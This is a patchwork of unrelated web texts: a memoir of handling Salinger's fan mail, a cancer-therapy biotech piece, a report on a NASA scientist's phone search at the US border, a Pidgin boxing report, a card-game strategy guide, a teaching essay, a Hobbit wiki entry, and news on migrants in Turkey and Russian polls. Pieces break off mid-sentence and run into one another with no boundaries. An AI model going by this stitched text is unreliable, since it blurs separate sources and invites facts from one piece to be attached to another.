At first, I dutifully retyped this form, over and over again, uncomfortably scrawling my own name at the bottom, as instructed, then tossing the letters in the trash, also per office protocol. But as the months wore on, I found myself increasingly unable to ignore the raw emotion of the letters. Even the angry teens struck a chord with me. These were not letters that the writers had tossed off carelessly, but notes that had clearly been written and rewritten, until just the right tone was struck. How could I simply throw them away? I began sending them personal letters telling them how much we appreciated hearing their stories and explaining, more gently, that we were prohibited from sending Salinger his mail, but we so often wished that we could. I offered unsolicited advice to a few, which was perhaps not the best idea, and simply an ear to others, mostly his older fans, many of whom were war veterans like Salinger and had questions about possible mutual acquaintances or experiences.
On Friday afternoons, when the agency gathered for scotch in the foyer, talk would eternally turn to stories about Jerry, most of which were less about Jerry himself and more about those who had violated his privacy: the assistant who’d been fired because he gave out Jerry’s phone number. The writer—Slate’s Ron Rosenbaum, then on assignment for Esquire—who had shown up at Jerry’s home in New Hampshire. Shyly, I chimed in with news of the middle-school administrator who’d called asking whether Salinger might be interested in speaking at his institution’s commencement and was absolutely shocked when I explained that no, Mr. Salinger did not accept speaking engagements. My co-workers laughed uproariously, which instilled in me a mix of pleasure and guilt. I realized I had become one of them, a keeper of the Salinger flame.
What was missing from this equation was, of course, Salinger himself. Normally, I was told, he phoned to check in once in a while, sometimes sending the whole office into a tizzy with a bizarre request, for copies of his royalty statements from 1986 or press clippings from 1974 or some such thing. During my first months on the job, however, he remained a comfortably abstract concept. Then, in June, he called, anxious to speak to Phyllis. My stomach lurched a little when I realized that it was Salinger, for real, on the other end of the phone, speaking rather too loudly and seeming a bit confused by my voice, though I tried to speak brightly and enunciate. He was, alas, somewhat deaf and refused to use the amplified phone his wife, a nurse, had installed for him.
It turned out something momentous was afoot in Salingerland: Eight years earlier, a small publisher in Alexandria, Va., had written to him, asking whether they might put out a book consisting solely of Salinger’s novella “Hapworth 16, 1929,” which had appeared in The New Yorker in 1965. To the shock of Phyllis—and everyone else at Ober—Salinger had, after years of thought, decided that this “fellow in Virginia” could publish “Hapworth.” Suddenly, he was calling all the time, anxious about the details of this new deal, which seemed like it might mark a tentative re-entry into the world he’d abandoned 30 years earlier. Ober, just as suddenly, seemed charged with a frenetic energy. Phyllis bustled around the office and had long, loud conversations with Salinger, going over the details of the new book, from the cloth of the binding to the font to the paper stock. She asked him about the publisher, a retired professor, whom Salinger seemed to like very much, to Phyllis’ surprise. It was not often, I supposed, that Salinger took a shine to someone new. In a way, I realized, the Virginia publisher was simply one of the fans whose letters I fielded, one who had managed to break through the wall of Ober’s protectorate and prove to Salinger that, yes, they really were kindred spirits.
One day, as I transcribed a round of letters for Phyllis, a tall man with dark eyes and thinning gray hair arrived in the little antechamber in which I sat. He glanced in my direction, seemed confused, then gave me a small yet warm smile. Before I could ask if he needed help, Phyllis came running out of her office, shouting, “Jerry! There you are!” A moment later, I was standing in front of my desk, just below the wall of Salinger’s books, shaking his large, dry hand. “Hello,” he said. “Nice to meet you. We’ve spoken on the phone many times.”
“We have,” I said, smiling stupidly.
“OK, we have a lot to talk about,” Phyllis said, guiding Salinger into her office. “This is a big year.”
The Hapworth book never materialized. The publisher gave an interview to a local magazine, and Salinger decided his new friend was a phony after all. But before things went bad, around the time of Salinger’s visit, I realized that I wanted to see what kind of writing could inspire such frenzied devotion. One night, I grabbed copies of his books off the shelf opposite my desk and devoured them in a weekend. These were not, as I’d thought, precious, nostalgic trifles of old New York, but strange, difficult, and, in many ways, deeply weird pieces of fiction. Salinger’s narrative voice, 30, 40 years later, felt as fresh and shocking as any of the contemporary writers I was reading at the time—Mary Gaitskill, Martin Amis, Jonathan Franzen—or more so, even. He broke every rule and, with some exceptions, got away with it.
Six months later, I left Ober, unsure exactly of what I would do next but certain I couldn’t spend another minute behind that old Selectric, secretly consoling the readers of a writer who didn’t care to receive their letters. Over the ensuing years, as I became a writer myself, I returned regularly to Franny and Seymour and Buddy and Zooey—and even, on occasion, Holden—often at those moments when I felt unsure of what turn to take in a story. People often talk about outgrowing Salinger, about returning to Catcher as an adult and finding it silly, histrionic, annoying. But the stories have grown with me, as the best fictions do. I still have some of those letters—the letters I couldn’t bear |
trials on American soil.
This trial is already treating and recruiting patients in Europe suffering from metastatic renal cell carcinoma. Worldwide, 273,000 people every year are diagnosed with this cancer affecting the kidney’s nephrons, for which no effective long-term treatments are available.
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Immunicum’s unique treatment, Intuvax, consists of activated dendritic cells derived from healthy donors that are injected into the tumor. The trick is that once in the tumor, these cells can recruit the patient’s own immune system to respond against a whole set of each tumor’s neoantigens.
By using allogeneic cells instead of autologous transplantation, manufacturing can be easily scaled-up to incur lower costs. In terms of toxicity, Intuvax still hasn’t shown any adverse effects in any treated patients. However, its coolest feature is that, in theory, this strategy could be applied to treat any injectable solid tumor. This is a big deal since targeting solid tumors is still a huge challenge in immuno-oncology that has led most biotechs to focus on treating blood cancer instead.
Immunicum is already testing these claims with two additional trials for Intuvax in hepatocellular carcinoma (HCC), and gastrointestinal stromal tumors (GIST), both currently in Phase I/II. Additionally, the company is developing a second dendritic cell therapy, Subcuvax, and a protocol to improve T-cell therapy by prolonging T-cell survival in vivo, both currently in pre-clinical stage.
As one would expect, this is not the only biotech interested in harnessing the power of dendritic cells to stimulate the immune system. Medigene, in Germany, is running Phase I/II trials with a dendritic cell vaccine for metastatic prostate cancer and acute myeloid leukemia (AML). Still in pre-clinical stage, Stimunity uses virus-like particles (VLPs) to deliver a molecule that activates dendritic cells.
The products are definitely promising; with an IND from the FDA the company can now expand its clinical trials and test if its technology is truly as good as it claims. If so, this innovative approach has the potential to take over a big segment of the cancer market, which hit a whopping €100B ($107B) in 2015.
Featured image from Stimmunity; figure from ImmunicumA US-born NASA scientist says he was detained by US border police, until he agreed to unlock his phone and let the agent copy or examine the phone's contents. The phone was NASA property, but the US Customs and Border Protection—another wing of the federal US government—seemingly didn't care.
Sidd Bikkannavar, who works on tech at the NASA Jet Propulsion Lab that is used by the James Webb Telescope, flew out to Chile on January 15 to race solar-powered cars in Patagonia. On January 30, and following a change of US government administration, Bikkannavar says he was detained by border police in Houston after they scanned his passport. He was ushered off to a waiting room, where about five other travellers were waiting to be processed.
Eventually, the NASA scientist was seated in an interview room with a CBP officer who quizzed him on the usual stuff: where he had been, where he was going to, his job title, etc. It all seemed a bit odd, according to Bikkannavar, because he's enrolled in the Global Entry scheme, and thus they already knew everything about him. “I asked a question, ‘Why was I chosen?’ And he wouldn’t tell me,” Bikkannavar said, as reported by The Verge.
The officer also showed Bikkannavar a document—Inspection of Electronic Devices—that gives the CBP authority to search devices at the border. “I was cautiously telling him I wasn’t allowed to [hand over the NASA-owned device], because I didn’t want to seem like I was not cooperating,” said Bikkannavar. “I told him I’m not really allowed to give the passcode; I have to protect access. But he insisted they had the authority to search it.”
While the CBP does have authority to search devices, you aren't obligated to unlock your device. The problem is, if you don't unlock your device, you could be detained for a longer period of time. “I didn’t really want to explore all those consequences,” Bikkannavar said. He handed over the device and its PIN, and then the officer took the device away for 30 minutes.
Bikkannavar said he doesn't know what happened during those 30 minutes, though he told The Verge that "the cybersecurity team at JPL was not happy about the breach."
this is from an IRL friend of mine. this is NOT my america. EVER. #MuslimBan Siid is a US Citizen. @CustomsBorder u say "Welcome Home" #NASA pic.twitter.com/W4UtF88rJy — Nick Adkins (@nickisnpdx) 6 February 2017
Clearly, Bikkannavar was a bit spooked by the whole ordeal. “It was not that they were concerned with me bringing something dangerous in, because they didn’t even touch the bags. They had no way of knowing I could have had something in there,” he said. “You can say, ‘Okay well maybe it’s about making sure I’m not a dangerous person,’ but they have all the information to verify that.”
Bikkannavar mused that it might be his foreign-sounding name that set off alarm bells, or maybe it was just a very poorly timed coincidence that it occurred three days after the Trump travel ban was enacted.
Last week, the new US Department of Homeland Security chief, John Kelly, said that some US visitors from seven Muslim-majority countries may soon have to provide social media passwords before they can enter the country. Trump's travel ban, however, is currently on hold after a federal appeals court said that unchecked presidential power "runs contrary to the fundamental structure of our constitutional democracy."Image copyright Getty Images Image example Floyd Mayweather don increase im professional record to 50-0
Floyd Mayweather don increase im clean record wey dem never win am reach up to 50 fight after im nack Conor McGregor for round 10.
Even though Conor McGregor only begin to box for dis year, dis na di most expensive fight for boxing history.
Di T-Mobile Arena for Las Vegas full well-well with supporters, media people and celebrities wey come watch the fight.
Mayweather don win world champion five times for boxing and dis McGregor na champion for UFC wey dey use hand, head, leg in fact, na di whole body dem dey use fight for inside cage.
Image copyright Getty Images Image example Charlize Theron dey among the celebrities wey come see the match
For round one, McGregor try well-well when im land Mayweather wan sweet uppercut wey enter.
McGregor show sign say im no come play for boxing ring, say im mean business.
But e remain small make McGregor forget say na boxing im dey do after he im give Mayweather plenty blow for the back of im head.
Mayweather, wey commot from retirement come fight dis fight, use wait-make-McGregor-tire strategy win dis match.
By round 9, McGregor don use all im energy like mobile phone battery wey only 5% remain, the bone wey dey im leg even switch off.
Dis na signal for Mayweather to commot imself from airplane mode enter normal and im begin to dey do like lion wey ready to chop.
Image copyright Getty Images Image example Na Mayweather go carry the WBC Money Belt wey get plenty diamonds go house
For round 10, Mayweather pounce on McGregor give am serious punishment so tey referee Robert Byrd gas enter to stop di fight.
Image copyright AFP Image example Referee Robert Byrd stop di fight after one minute and five seconds for round 10
Persin fit argue say di time referee Robert Byrd stop di fight too early because McGregor still get small stamina and all di points wey im don collect for fit help am win di fight.
But McGregor suppose collect clap because im get heart and mind to fight former champion like Mayweather wey never ever lose match for im career before.
Conor McGregor fit use the BIG alert wey go fit reach up to $100m forget say im carry last for the fight.
Experts dey talk say dis match fit generate over $600m wey go make am di richest for history for boxing.Welcome back! If you haven’t caught the first part of this series, you can find analysis on the Blood, Diamond, and Ruby champions here.
Sapphire
Bertram Cragraven
What you expect:
95% of the time, it’s Dwarves. The other 5%, someone drafted the Volcannon and is shoehorning it into their control deck. If you haven’t played against Dwarves, it ranges from a plodding group of poor bodies up to a hyper-synergistic deck capable of attacking with 5/5s and 3/5 flyers on turn 4 while finishing you with a barrage of Volcannon damage.
What you look to do about them:
An entire article could be written about fighting against Dwarves, but the main point is that you will be facing a good deal of card advantage paired with artifact-based finishers. If you apply pressure quickly, you can put them in the position of sacrificing their synergy to stabilize their health and hopefully grind them down from there. If you plan on grinding down the dwarf deck, you better cross your fingers because eventually those Gearsmiths and Adepts will find a Volcannon…
What you look for in reserves:
Obvious stuff—artifact removal being the big one. Countermagic is occasionally an acceptable reserve option if you’ve seen Volcannon in one of the first games. While Dwarves can run you over with the War Hulk draws, any cards that normally would deal with that are likely already sitting in your maindeck anyway.
Feather Drifting Downriver
What you expect:
Feather fits in well enough with Wild, Diamond, and Ruby decks that it is hard to pinpoint if your opponent is on any specific one before the game starts, but likely the most infamous version (and typically hardest to beat when it comes together) is the Wild/Sapphire Boulder Brute deck. When Feather comes up, the first thought in your mind is normally “Can my deck beat a flying, Spellshield’ed 4/4 on turn 5”? The answer is typically “no”, so instead you can occasionally ignore that line of thought and focus on how you will deal with a flyer in general with your deck—and one typically backed up by Buccaneers to boot.
What you look to do about them:
Barring Spellshield, you can treat Feather much like Palamedes and Lionel in that you want to either find ways to remove the troop in response to the effect or you want to have the opponent on the back foot by the time they would normally be getting ready to use Feather’s power. Feather decks are actually typically a test of your draft skills as opposed to your playing ones; if you have drafted a focused aggressive deck or a flexible controlling one then you should have the right pathways to turn Feather into a poor use of charges. However, if your deck is clunky and lacks real ways to deal with problem troops then you can expect to get rolled over.
What you look for in reserves:
You have to dig deep to beat a Feathered Boulder Brute. Countermagics and Zombie Vultures turn into slam dunks. You might need to bring in just every troop you have with the words “Flight” on it and hope that they don’t have a pump spell, but normally that is just a sign that your draft had issues in the first place. Aggressive decks should just keep doing what they were doing; Boulder Brute is just as scary flying or not flying so the key is to create the initial attacks and force the opponent into blocks where your own actions can win combat.
Nin the Shadow
What you expect:
Normally Mill, but the occasional Blessing the Fallen deck does pop up trying to abuse Nin and a pile of Inspire troops. The Mill deck will likely be sporting some Twisted Fates and a host of defensive troops and actions to live long enough to let Fate decide your… er… destiny.
What you look to do about them:
Barring Nature Reigns or Winds of Change, you likely aren’t directly stopping a Twisted Fate (which is the real threat from most Nin decks). As such, even the most diehard control deck needs to look for ways to push damage onto the Nin player and find a way to kill them before they can take away your library.
What you look for in reserves:
The aforementioned constant removal easily comes in (and in the case of Nature Reigns is likely worth splashing for—just be sure to play at least two Wild Shards as you don’t want one milled away then suddenly your plan is over). The big thing, though, is to look for ways to increase the aggressiveness of your deck. Mesmerize and Repel are normally awesome cards, but not if the opponent doesn’t plan to kill you by attacking. Mill decks race you in a way that normal limited control decks aren’t equipped to deal with, so you need to transform yourself if you find out you are in that situation. If you already are the aggressive deck, then congratulations as you are now likely finding out why Mill is rarely a great limited strategy…
Wyatt the Sapper
What you expect:
Where Wyatt fits is more a process of elimination than anything else. WS certainly can work, but normally you are in Wild because you found an early bomb or Boulder Brute, and at that point Feather is normally too attractive to stay away from. RS tends not to lean into the controlling role too well like Wyatt enjoys unless the deck moves towards Dwarves, and at that point Bertram tends to be the choice. That leaves Diamond/Sapphire and Blood/Sapphire midrange and controlling decks as your most typical Wyatt opponents. Combining card draw with premium removal like Repel and Murder is a formula as old as TCGs themselves, and Wyatt decks are more than happy to fill that role in Shards of Fate limited.
What you look to do about them:
Honestly, not a whole lot. Wyatt decks are likely reactionary, so you can try a bit harder to force them into mistakes in reading what you are doing but otherwise you should stick to the plan you had in mind when you put your deck together. Wyatt is one of the harder decks to find counters to, mainly because really all the Wyatt player is doing is increasing their consistency while also gaining a bit of value—so it isn’t like you have a lot of ways to trump that which you aren’t already implementing.
What you look for in reserves:
Misfortune is about the only big one, as you should be guaranteed that they will survive long enough for you to play it and at the same time their charge power reduces the chances that you won’t get a 2-for-1 by the time you can play it. Otherwise, stick to your guns and bring in your reserves based more around reacting to whatever their primary bombs are if applicable.
Wild
Kishimoto
What you expect:
Kishimoto is the hallmark of the aggressive Wild decks, with Diamond/Wild being somewhat accepted but Mono-Wild being the most popular to exploit Honeycaps and Feral Ogres. Because charge powers work at basic action speed, a temporary buff like Kishimoto’s is only going to be beneficial for you if you are attacking with it—so decks that are trying to get the most out of their charges will only call on the pump bunny when they are naturally wanting to attack early and often anyway. The card to really be concerned about here is normally Cottontail Ronin. If they are on the play and you don’t do anything on the first two turns then Ronin will hit you for 1 + 2 + 3 = 6 damage and threaten to then swing as a 6/4 on the fourth turn thanks to Kishimoto; representing 12 damage from a single card is a big threat.
What you look to do about them:
Defensive speed is big against Kishimoto. It is okay to chump block a pumped troop with one of your irrelevant ones later in the game (think of it as doing better than you would against Zared—he would outright kill your 1/1 and allow their troop to swing through while Kishimoto kills your troop but doesn’t allow theirs to hit you). The thing you do not want is to be chump blocking on turn 4 or 5 against a Kishimoto activation, as normally that is a downhill slope towards losing. Naturally quick speed removal can be devastating against a Kishimoto activation, but the key to remember is that Kishimoto encourages the Wild player to try and enter a race scenario. If you can slow down the game and turn it into an attrition battle, Kishimoto can have trouble helping effectively in those situations as it doesn’t give the player many options other than what attacks they want to initiate (and even then, you get the chance to respond in kind with blocks).
What you look for in reserves:
Cheap, two-attack troops are the order of the day here, so bring out your Shadowblade Lurkers and Wild Childs to try and slow down their Ronins and Ogres. Do be careful of one thing though, which is that sometimes Kishimoto ends up as just the default champion of a Mono-Wild player who is a bit slower and focused on playing multiple Honeycaps and T-Hexes to smash face with. You probably have an idea if that is the case after game 1, but do be mindful of the fact that Mono-Wild can drop some of the beefiest troops in the game so don’t skimp on your answers to that.
Monika’Shin
What you expect:
The clear-cut sign of the Blood/Wild Shin’hare deck. The deck has two normal forms: The “tons of bunnies” version can range from unstoppable (Onslaught + multiple Command Towers/Bucktooth Commanders) to utter poop (none of those things) with very little room in between. On the other hand, the more aggressive versions look to beat down with Cottontail Ronins and Blood Cauldron Ritualists backed by pump and removal, and those are normally a bit more consistent while not offering the unbounded potential of Concubunny + global pump.
What you look to do about them:
Both versions of Shin’hare rely upon invidually fragile troops, so being prudent with your removal will be very important. Also, both versions get to utilize Concubunny, so your giant ground-pounders are likely to be chump-blocked infinitely if the game goes long. It is normally hard for the Shin’hare deck to get a full card worth of value out of their Battle Hoppers in combat, so it can be a delicate balance in that you are likely favored to grind them out if the game goes on, but you also risk running into multiple global pumps being dropped and the opponent killing you from nowhere if you don’t respect that ability. Shin’hare rarely grind people into dust, instead relying upon larger chunks of damage (either from a swarm or Blood Cauldron Ritualists) to take out the opponent, so try to keep a running calculation in your head of how much damage a Shin’hare opponent can do on a backswing if you leave them an opening. As long as you play a tight damage race against them they will be reliant upon drawing their bombs to keep up.
What you look for in reserves:
All your removal is likely going to be good here, as killing Ritualists and Commanders is often the key to victory. You are likely already maindecking anything with it, but Crush troops are also very effective as often the Shin’hare player tries to use a few strategic Battle Hopper chump blocks to live long enough to set up their counterattacks. Atrophy and Reversion are cards I will point out specifically as good against Ritualists, the former being something you likely want to cast on your own turn so that even if they pump the Ritualist with a sacrifice he won’t like to attack again.
Polonius
What you expect:
8 is a whole lot of charges, and with Wild’s control role often being limited to “Cast T-Hexes and block” that makes Polonius a champion that doesn’t see play all that often. Still, seeing Polonius is often a sign that the opponent is further cementing their plan of smashing you with big dumb things. Normally, these decks are heavy Wild with a splash for premium removal or bombs in a second shard (to take advantage of Honeycaps with the heavy Wild commitment while also using good control cards from a second shard to live long enough to dump a Squirrel).
What you look to do about them:
If your deck is aggressive, don’t keep slower hands against Polonius as the Polonius deck is likely going to be looking to get big troops online as soon as possible. If your plan isn’t around killing the opponent as fast as possible in every game, then you are probably safe to keep a shard-heavy hand and try to grind out the Polonius player in the mid-game. Always be aware that if the opponent gets to activate Polonius, you will have a very real threat on your hands to deal with—so when you get the 5 or 6 shards try to imagine in your mind how things should look like in a couple turns if the opponent gets a free 6/6. If you can’t handle it, then try to turn up the pressure and kill them before that happens. It is worth noting that you certainly can grind out a Polonius deck in terms of card advantage due to how expensive the charge cost is. While the opponent might get a free 6/6, a Kranok player by the same time has drawn 2 cards so as long as they can deal with the beastie they get the edge.
What you look for in reserves:
If you believe your deck is going to have to be the aggressor, then streamline down your expensive 5- and 6-cost cards that aren’t helping against Honeycaps and Boulder Brutes for 2-drops that hopefully can help kill the opponent before that happens. On the other hand, if you are looking for ways to win the midgame then go the opposite route and try to fit in those “giant-killers” like Mesmerize. Also, see if you have a glut of 3/4 or better troops you have access to; one big weakness of the Squirrel Titan is that it must attack, so if you can tandem block with an Avalanche Giant and a Paladin of Nagaan things will be looking up for you.
Running Deer
What you expect:
Running Deer is almost always a sign of mono-Wild, primarily those leaning very high on their curve which leads them to trying to leverage the health gain from Running Deer to survive against aggressive decks until their 4/4s and bigger start coming online. Other control decks that are afraid of aggro can certainly end up with Running Deer, but normally there are better champion options in all the other shards that lead them to playing something else (although if you see Blood/Wild with Running Deer, be cognizant that Pact of Pain might be showing up soon).
What you look to do about them:
If you are a very aggressive deck, this is likely a nightmare for you as that health gain will probably be very important to their stabilization. Automatically assume they start at 25 for the sake of doing your combat math when determining early attacks, and look to lean heavily on your evasion/finishers if you have them. Thankfully, if you are on the opposite end of the spectrum and already playing towards a long game then the health increase likely isn’t going to be a big difference maker for them, so feel free to keep slower or shard-heavy hands. You still need to be aware that they are likely building towards some giant monsters, so if your deck isn’t equipped to handle Honeycaps, Brutes, and T-Hexes then you may find yourself struggling to come away with a win—but at least note that these decks traditionally have a vulnerability to flyers + chump-blockers in the late game even with the health gain, so prioritize keeping your flight troops alive a bit more in this matchup.
What you look for in reserves:
Again, more beef and ways to counter their beef is going to be the order of the day if you have them, so pack in those Bloodcrazed Zealots and Heavy Welding Bots. Running Deer mono-Wild decks are very much a matchup test most of the time. Either your deck is equipped to handle big beasties through removal or your own fat or you are going to be crossing your fingers that they miss a shard drop or two.
Shattered Destiny looks to be bringing more Champions, and more importantly new cards to synergize with what we already have. The loss of 2 packs of Shards of Fate also means a big swing in some archetypes (Flying Boulder Brutes shouldn’t be near the problem they are now), so it should be exciting to learn what our new builds should look like in the months to come.Recently, I was looking through my bookshelves and discovered an entire shelf of instruction books that came with software I had previously purchased. Yes, there was a time when software was bought in stores, not downloaded. Upon closer examination of these instruction books, I noticed that many of them were for computers and software that I no longer use or even own. More importantly, most were still in shrink-wrap, never opened. I recalled that when I bought software, I just put the disk into the computer and never looked at the book.
I realized that I did the same when I bought a new car -- with one exception. I never read the instruction book in the glove compartment. I just turned on the engine and drove off. I already knew how to drive, so I didn't need a book. The exception occurred when I tried to set the clock. I couldn't figure it out, so I finally opened the glove compartment and checked the book.
This pattern was and is true for every device I buy. I never read the book that comes with a toaster, an iPod, or a juicer unless I have a question. There are some people who do read instruction books before using a device, but with no disrespect intended, those people are a small minority. Our minds are set up to not care about answers unless we have a question. The greater the question, the more compelling it is, the more we want the answer. We learn best when questions come before answers.
The Need to Know
Too many classrooms ignore this basic learning model. They spend most of class time providing information and then ask questions in the form of a quiz, test, or discussion. This is backward. Too many students never learn this way. It is simply too hard to understand, organize, interpret, or make sense out of information -- or even to care about it -- unless it answers a question that students care about.
Lessons, units, and topics are more motivating when they begin with a question whose answer students want to know. Not only do great questions generate interest, they also answer the question that so many students wonder about: "Why do I have to learn this?" Finally, great questions increase cognitive organization of the content by framing it into a meaningful answer to the opening question.
There is a catch, though, in using questions to begin your lesson. The question must be connected to the content, so that the following learning activities actually answer the question. The question must fit your students' age, ability, and experiences. In addition, the question needs to provoke both thought and curiosity. In fact, it must be compelling enough to generate so much motivation so that students can't help but want to know the answer.
Have you ever forgotten the name of a song and spent hours trying to remember it? It gets under your skin until you no longer want the answer -- you need it. That's what a great opening question does for students. Compulsion more than simple curiosity drives them to learn the information that follows. It's what I felt when I finally wanted to read my car manual so that I could set the clock.
10 Questions That Motivate Learning
Questions this powerful are hard to find. I suggest collecting as many as you can (5-10 per year, for example), and after weeding out the ones that didn't work, eventually you'll be able to fill a notebook or computer file with them. I have been collecting these kinds of questions from teachers for years. Here's a sample of some great ones that worked with students in creating enough motivation to drive an entire lesson.
Middle school math: What does Martin Luther King have in common with algebra? (Answer: Both are concerned with equality.)
What does Martin Luther King have in common with algebra? (Answer: Both are concerned with equality.) First grade science class studying particles: What is the smallest thing you’ve ever held in your hand? (Warning: Do not use this question in high school.)
What is the smallest thing you’ve ever held in your hand? (Warning: Do not use this question in high school.) Upper-level history class studying the Pilgrims: Is there anything your parents could ever do to you that would make you run away from home?
Is there anything your parents could ever do to you that would make you run away from home? Elementary art: If humans could be a color other than any of the colors that they already are, what color would they be? Why do you think this? Draw some people of this color.
If humans could be a color other than any of the colors that they already are, what color would they be? Why do you think this? Draw some people of this color. High school English: If Hamlet were a television sitcom, what would be a better name for it?
If Hamlet were a television sitcom, what would be a better name for it? Elementary English: What is the best name for a book about your life?
What is the best name for a book about your life? Geography: Why does Israel have more fertile soil than other Middle East countries that share the same desert? (Answer: It has more trees to hold in moisture.)
Why does Israel have more fertile soil than other Middle East countries that share the same desert? (Answer: It has more trees to hold in moisture.) Second grade reading: We are going to redesign the alphabet. What three letters can be eliminated? (Answer: C, Q, X)
We are going to redesign the alphabet. What three letters can be eliminated? (Answer: C, Q, X) Eighth grade physical education: Why is a soccer ball harder to control inside the gym than on the field? (Answer: Friction)
Why is a soccer ball harder to control inside the gym than on the field? (Answer: Friction) Middle school English: Why don't good and food rhyme? Given the definition of best, can you have more than one best friend?
Each of these questions was used by teachers to begin lessons that really motivated their students. Can you add any more to the list?The Hobbit 1st edition
"I shan't call it the end, till we've cleared up the mess." — Sam
This article or section needs to be cleaned up to conform to a higher standard of article quality.
This article contains information specifically on the The Hobbit 1st edition published by George Allen & Unwin, for general information on the book see The Hobbit.
edit] First edition
The Hobbit has been published in two editions. The second intended to be more in tune with The Lord of the Rings. For example, the first edition makes a reference to "tomatoes", which was altered to "pickles" by Tolkien in the second.
In the first edition, Gollum willingly bets his magic ring on the outcome of the riddle game. During the writing of The Lord of the Rings, Tolkien saw the need to revise this passage, in order to reflect the concept of the One Ring and its powerful hold on Gollum. Tolkien tried many different passages in the chapter that would become chapter 2 of the Lord of the Rings, "The Shadow of the Past". Eventually Tolkien decided a rewrite of The Hobbit was in order, and he sent a sample chapter of this rewrite ("Riddles in the Dark") to his publishers. Initially he heard nothing further, but when he was sent galley proofs of a new edition he learned to his surprise the new chapter had been incorporated as the result of a misunderstanding.
Tolkien explained the two different versions in the introduction of The Lord of the Rings, as well as inside "The Shadow of the Past", as a "lie" that Bilbo made up, probably because of the One Ring's influence on him, and which he originally wrote down in his book. Inside The Lord of the Rings, Bilbo finally confesses the real story at the Council of Elrond, although Gandalf had deduced the truth earlier. As Tolkien presented himself as the translator of the supposedly historic Red Book of Westmarch, where Bilbo and Frodo's stories were recorded, he further explained the two differing stories in The Hobbit by stating he had originally used Bilbo's original story, but later retranslated the work with the "true story" recorded by Frodo.
This first edition also mentions "gnomes", an earlier word Tolkien used to refer to the second kindred of the High Elves — the Noldor (or "Deep Elves"). Tolkien thought that "gnome", being derived from the Greek gnosis (knowledge), was a good name for the Noldor he created to be the wisest of the other Elves. But with its English connotations of a small, secretive, and unattractive creature, Tolkien removed it from later editions. He made other minor changes in order to conform the narrative to events in The Lord of the Rings and in the ideas he was developing for the Quenta Silmarillion.
However this still does not fit perfectly: even revised, The Hobbit is so much different in tone that it sometimes seems to belong in another universe from other Middle-earth works. Examples include the following:
Anachronisms: Bilbo has a clock. Many artists like John Howe prefer to omit it from their paintings. Bilbo also is mentioned to have matches for his pipe. In the world of Lord of the Rings matches had not yet been invented and all use flints.
The Trolls have English first and last names, like fairy-tale characters.
Lighthearted use of "magic": when Bilbo tries to steal a purse from the Trolls, the purse shouts.
Elves appear either as silly and mischievous (Rivendell) or even hostile (Mirkwood).
Orcs are still called Goblins, and are more like bogeymen than man-eating humanoid warriors.
Gandalf mentions Radagast as his cousin. (Then again, both Gandalf and Radagast are angelic Maiar spirits, and thus in a sense are "related", both being children of the thought of Eru Ilúvatar.)
The extensive mentioning (and brief appearance) of Giants. Giants were never developed in Tolkien's other works, but although they should exist and possibly take a grand part in the past and upcoming Wars, they are never mentioned again. Even if Giants are seen as a kind of large Trolls, they are hard to justify, as trolls are described as either incredibly stupid or incredibly evil: quite unlike the Stone Giants of The Hobbit.
Some of the tone differences can be explained by accepting Bilbo as the author of the work: Bilbo wrote the story of his journeys to recount them to the children of Hobbiton and therefore changed the story somewhat. Apparent major differences such as the different perception of the Ring can also be explained by Bilbo's lacking knowledge of these matters.
edit] 1st impression
The first impressions was printed in 1937 included black and white illustrations only.
edit] 2nd impression
The second impression was printed in 1937 and included four color illustrations.
edit] 3rd impression
The third impression was printed in 1942 and included only 1 color illustration for the War Economy Standard.
edit] 4th impression
The fourth impression was printed in 1946 and was similar to the third impression. 4,000 copies were printed.Turkish police stop migrants’ advance toward Greek border
ISTANBUL – Doğan News Agency
DHA Photos
Hundreds of migrants who had been camping at the central bus terminal in Istanbul for days have begun walking along a highway connecting Istanbul to the northwestern province of Edirne, about 230 kilometers away, in a bid to reach border crossings between Turkey and Europe.The group started walking from the Grand Istanbul Bus Terminal in the Bayrampaşa neighborhood along the TEM highway northwest to Edirne at around 2 a.m. on Sept. 21 after days of camping in the terminal, marches and protests against security personnel for not letting them through border crossings.They then took a two-hour break to sleep on a green area by the highway before resuming their journey and set off once more at sunrise.Police teams initially escorted the group, which included children, but later intervened near Istanbul’s Avcılar district.The migrants protested the police by initiating a sit-in.Some migrants said they were forced to seek a better life in Europe due to the low quality of life they experienced in Turkey, adding they waited for days at the Istanbul bus terminal hoping to travel to Edirne by bus.Republican People’s Party’s (CHP) Secretary General Gürsel Tekin and İzmir deputy Mustafa Balbay arrived at the scene to obtain information from the police.Security officers said the migrants would not be permitted to walk and they were obliged to return to their residences within Turkey.Speaking to the press, Tekin said the migrants wanted to try their chances in Europe as they had no access to social services in Turkey.“Nobody in Turkey guides these people, nobody provides shelter or access to education or health care,” Tekin said.“They try to go to Europe out of hope. Unfortunately, the government is responsible for this situation.”The migrants’ journey was not one “to hope” but “to the unknown,” Balbay said.“They say they will go to Edirne. They do not know how far it is or how many hours it will take to walk there.They only say ‘God knows,’” he said, adding that making legal reforms was necessary, as the situation had become a “tragedy.”After hearing the migrants’ demands, Tekin and Balbay headed off to Edirne.While journalists were forbidden to enter the area, the police convinced the migrants to move ahead outside of the highway. The TEM was then opened to traffic, following a thirty-minute stoppage.Meanwhile, Edirne Governor Dursun Ali Şahin said on Sept. 21 that Sept. 22 was the deadline for Syrian migrants to leave the city, saying, “We will send them not to camps, but to provinces that they want to go to.”Şahin said the governor’s office had organized a meeting between Prime Minister Ahmet Davutoğlu and representatives of migrant groups, making good on its promise.Following the meeting, Davutoğlu said on Sept. 19 he would bring the situation of Syrian migrants to the table |
45 percent predicted that conflicts between the countries would worsen with Hillary in the White House.
Some 35 percent of those polled said a Trump victory was more in Russia’s national interests, while only 6 felt the same about a Clinton presidency. Some 22 percent of Russians said neither candidate would be of benefit to their country as president.
Interestingly, 52 percent of Russians said that they saw Hillary Clinton’s and Donald Trump’s ages (68 and 70 respectively) as a proof that the US electoral system has been debased, while 27 percent considered this proof of the system’s stability, with average voters inclining towards more experienced candidates.
Read more
A different poll, conducted in September of this year by the independent research center Levada, showed that less than a third of Russian citizens were concerned about the growing divide between their country and the West, but the majority still wanted better relations with foreign nations. Some 62 percent of that poll’s respondents said Russia should make more of an effort to mend relations with the US and other Western nations, falling from 68 percent in 2014, while the percentage answering that this was unnecessary stood at 24 percent, the same amount as in 2014. The remaining 14 percent said they could not answer the question.
Another Levada Center poll conducted in June of this year showed that 72 percent of Russians saw the United States as the country most hostile towards the Russian Federation.
